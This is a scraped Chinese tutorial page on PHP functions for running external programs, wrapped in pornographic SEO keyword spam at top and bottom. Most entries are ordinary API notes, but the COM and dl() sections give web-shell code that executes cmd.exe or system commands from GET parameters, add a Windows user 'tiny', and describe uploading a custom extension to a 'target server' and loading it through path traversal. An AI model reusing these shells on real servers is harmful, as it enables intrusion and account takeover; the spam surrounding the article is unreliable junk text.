好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > PHP調用外部程序的方法解析

PHP調用外部程序的方法解析

熱門標簽:安裝電銷外呼系統 百度商鋪地圖標注 福州人工外呼系統哪家強 釘釘打卡地圖標注 地圖標注平臺怎么給錢注冊 常州地圖標注服務商 衡水外呼系統平臺 新河科技智能外呼系統怎么樣 注冊400電話申請

很多情況下需要php調用其他程序如shell命令、shell腳本、可執行程序等等,此時需要使用到諸如exec/system/popen/proc_open等函數,每種函數有各自適合使用的場景以及需要注意的地方。

前提:PHP沒有運行在安全模式

如果PHP運行在安全模式下,那么在執行外部命令、打開文件、連接數據庫、基于HTTP的認證這4個方面將會受到制約,可能在調用外部程序時無法獲取預期的結果,此時需要設置特定目錄,可以在php.ini中編輯safe_mode_exec_dir參數來指定。

1. exec

原型:string exec ( string command [, array output [, int return_var]] )
描述:返回值保存最后的輸出結果,而所有輸出結果將會保存到$output數組,$return_var用來保存命令執行的狀態碼(用來檢測成功或失?。?
例子:$ret = exec("ls -al", $output, $var);
注意:
A. 輸出結果會逐行追加到$output中,因此在調用exec之前需要unset($output),特別是循環調用的時候。
B. 如果想通過exec調用外部程序后馬上繼續執行后續代碼,僅僅在命令里加""是不夠的,此時exec依然會等待命令執行完畢;需要再將標準輸出做重定向才可以,例如:exec("ls -al >/dev/null ", $output, $var);
C. 要學會善用EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字符串 中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(|),重定向(>)和從文件讀入 ()等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數。

2. system

原型:string system ( string command [, int return_var] )
描述:執行給定的命令,返回最后的輸出結果;第二個參數是可選的,用來得到命令執行后的狀態碼。
例子:$ret = system("ls -al", $var);
注意:略。

3. passthru

原型:void passthru (string command [, int return_var])
描述:執行給定的命令,但不返回任何輸出結果,而是直接輸出到顯示設備上;第二個參數可選,用來得到命令執行后的狀態碼。
例子:passthru("ls -al", $var);
注意:略。

4. popen

原型:resource popen ( string command, string mode )
描述:打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用于讀或寫)并且必須用 pclose() 來關閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。 
例子:$fd = popen("command", 'r'); $ret = fgets($fd);
注意:只能打開單向管道,不是'r'就是'w';并且需要使用pclose()來關閉。

5. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array pipes [, string cwd [, array env [, array other_options]]] )
描述:與popen類似,但是可以提供雙向管道。具體的參數讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。
注意:
A. 后面需要使用proc_close()關閉資源,并且如果是pipe類型,需要用pclose()關閉句柄。
B. proc_open打開的程序作為php的子進程,php退出后該子進程也會退出。
C.  筆者在使用的時候遇到獲取外部程序輸出阻塞的問題,也就是在例子中的fgets($pipes[1])語句阻塞了,無法繼續進行。經過多方查證后發現,問題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, "**** \n");輸出結果,此時需要加上fflush(stdout);才行,否則輸出結果可能會暫留緩存中,無法真正輸出,而php也就無法獲取輸出了。
例子:

 // / 打開管道
 $pwd   =   " ***** " ;
 $pipes   =   array ();
 $command   =   " ***** " ;
 $desc   =   array ( array ( ' pipe ' ,   ' r ' ) ,   array ( ' pipe ' ,   ' w ' ) ,   array ( ' pipe ' ,   ' w ' ));
 $handle   =   proc_open ( $command ,   $desc ,   $pipes ,   $pwd );
 if  ( ! is_resource ( $handle )) {
     fprintf (STDERR ,   " proc_open failed.\n " );
     exit ( 1 );
}
 // / 讀寫
 fwrite ( $pipes [ 0 ] ,   " *****\n " );
 $ret   =   rtrim ( fgets ( $pipes [ 1 ]) ,   " \n " );
 // / 關閉管道
 fclose ( $pipes [ 0 ]);
 fclose ( $pipes [ 1 ]);
 fclose ( $pipes [ 2 ]);
 proc_close ( $handle );

6. shell_exec

原型:string shell_exec ( string $cmd )
描述:cmd:要執行的命令    返回值:命令執行的輸出。 如果執行過程中發生錯誤或者進程不產生輸出,則返回 NULL。
例子:

?php
        echo shell_exec('pwd');
?>

執行結果:/var/www/html

7. 反撇號`

描述:shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體 

例子:

?php
        echo `pwd`;
?>

執行結果:/var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在當前進程空間執行以給定參數執行指定程序。
pcntl是linux下的一個擴展,可以支持php的多線程操作。
參數:
path: 必須是可執行二進制文件路徑或一個在文件第一行指定了一個可執行文件路徑
標頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的
信息請查看您系統的execve(2)手冊。
args: 一個要傳遞給程序的參數的字符串數組。
envs: 一個要傳遞給程序作為環境變量的字符串數組。這個數組是 key => value格
式的,key代表要傳遞的環境變量的名稱,value代表該環境變量值。
返回值:當發生錯誤時返回 FALSE ,沒有錯誤時沒有返回。

9. COM組建(針對windwos環境下使用com組建)

原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填寫程序絕對路徑,并且應該沒有辦法加參數
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,并且在php中開啟com組建擴展之后可以使用這種方法(打開方式自行百度)
徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件
例子:

?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); 
$stdout = $exec->StdOut(); 
$stroutput = $stdout->ReadAll(); 
echo $stroutput; 
?>
 
?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");
?>
 
?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
?>
 
?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
?>
 
?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
?>

10.  dl()

要求:php沒有開啟安全模式,并且enable_dl選項為on,并且php版本支持dl函數
(在 PHP 5.3 里,此函數被某些 SAPI 移除了,也就是沒有這個函數?)
說明:extension_dir選項可以指定擴展模塊的目錄,但是我們可以使用相對路徑的方式繞過
原理:自己編寫擴展,然后使用dl加載此擴展。
舉例(linux):
準備工作:
自行上網下載apache和相近版本的php源碼,按照apache和php的官方文檔進行安裝。
我們主要需要三個文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后,
phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。
ext_skel是php源碼包中的用來幫助制作擴展的程序。
1)轉到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴展中的函數原型,例如:
string exec(string str)
2)執行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄,
里面則是擴展所需要的文件
3)cd tinymin
4)vi config.m4 
將 config.m4文件里面
dnl PHP_ARG_WITH(myext, for myext support,
dnl Make sure that the comment is aligned:
dnl [ --with-myext Include myext support])
修改成
PHP_ARG_WITH(myext, for myext support,
[ --with-myext Include myext support])
5)vi tinymin.c
將PHP_FUNCTION(exec)后面的大括號里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha)
{
char *str = NULL;
int argc = ZEND_NUM_ARGS();
int str_len;


if (zend_parse_parameters(argc TSRMLS_CC, "s", str, str_len) == FAILURE) 
return;


return system(str);
}
6)找到phpize:find / -name "phpize" 然后運行一下phpize:
/my_lamp/php/bin/phpize
7) 同樣方式找到php-config,然后運行configure:
./configure --with-php-config=/my_lamp/php/bin/php-config
8)makemake install 
之后便在自己的php擴展目錄中生成了擴展tinymin.so
在目標服務器上面上傳tinymin.so(不一定要在它的php擴展目錄中,因為可以使用相對路徑)
用法例如:
?php
dl("../../../../../tmp/tinymin.so");
echo exec($_GET['cmd']);
?>
這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時候提示沒有dl這個函數,具體原因參見php manual
windows上應該也是一樣的原理。不過沒有試過

11.  內核變量

網址:http://www.freebuf.com/articles/web/82801.html 

以上就是PHP調用外部程序的方法解析的詳細內容,更多關于PHP調用外部程序的方法的資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • PHP實現執行外部程序的方法詳解
  • PHP實現函數內修改外部變量值的方法示例
  • PHP 閉包獲取外部變量和global關鍵字聲明變量的區別講解
  • php外部執行命令函數用法小結
  • PHP中如何防止外部惡意提交調用ajax接口
  • PHP用反撇號執行外部命令
  • php繪圖之加載外部圖片的方法
  • yiic命令時提示“php.exe”不是內部或外部命令的解決方法
  • PHP實現刪除非站內外部鏈接實例代碼
  • php判斷正常訪問和外部訪問的示例
  • PHP 執行系統外部命令 system() exec() passthru()

標簽:克拉瑪依 柳州 唐山 遼陽 鶴崗 鷹潭 白城 六安

巨人網絡通訊聲明:本文標題《PHP調用外部程序的方法解析》,本文關鍵詞  PHP,調用,外部,程序,的,方法,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP調用外部程序的方法解析》相關的同類信息!
  • 本頁收集關于PHP調用外部程序的方法解析的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 曰曰摸日日碰夜夜爽歪歪| 夜爽爽| 国产精品亚洲美女毛片| 偷偷鲁视频| 黄色网址视频在线播放| 一般人戴49mm是不是小| 天天艹在线| 性盈盈影院67194| 久久久99精品久久久| 亚洲国产精品热久久国产女人叫床 | PANA摄影最新版本| 色就是色欧美色图| 啊灬啊灬啊灬快灬高潮了女影院| 新聞動態螺桿啟閉機電動啟閉機區別| 日本一本视频| 亚洲黄色小说网| 哥哥好坏| 好男人高清观看视频| 丰满少妇被猛烈进入AV视频软件 | 男女啪啪高潮无遮挡免费麻豆| 久久久富免费观看| 国产精品视频一级二级三级| 丈夫满足不了妻子是哪里人| 美女扒开粉嫩的尿口喷水| www爱射网站avcom| 黄色乱淫小说| 久久综合久| 怎么知道女人下面紧不紧| 博文 動態 更多>>| 论渣男改造的一千种姿势| 办公室玩弄爆乳女秘HD| 亲子乱Av一区区三区40岁| 91视频在| 亚洲成a人片7777777影片| 成人在线视频在线观看| 97色伦97色伦国产欧美空| 亚洲午夜AAA片内谢无码理伦| 韩漫被?到爽??流漫画魔镜动漫| 精品少妇人妻Av免费久久三叶草| 夜色直播软件app下载| 欧美一级h|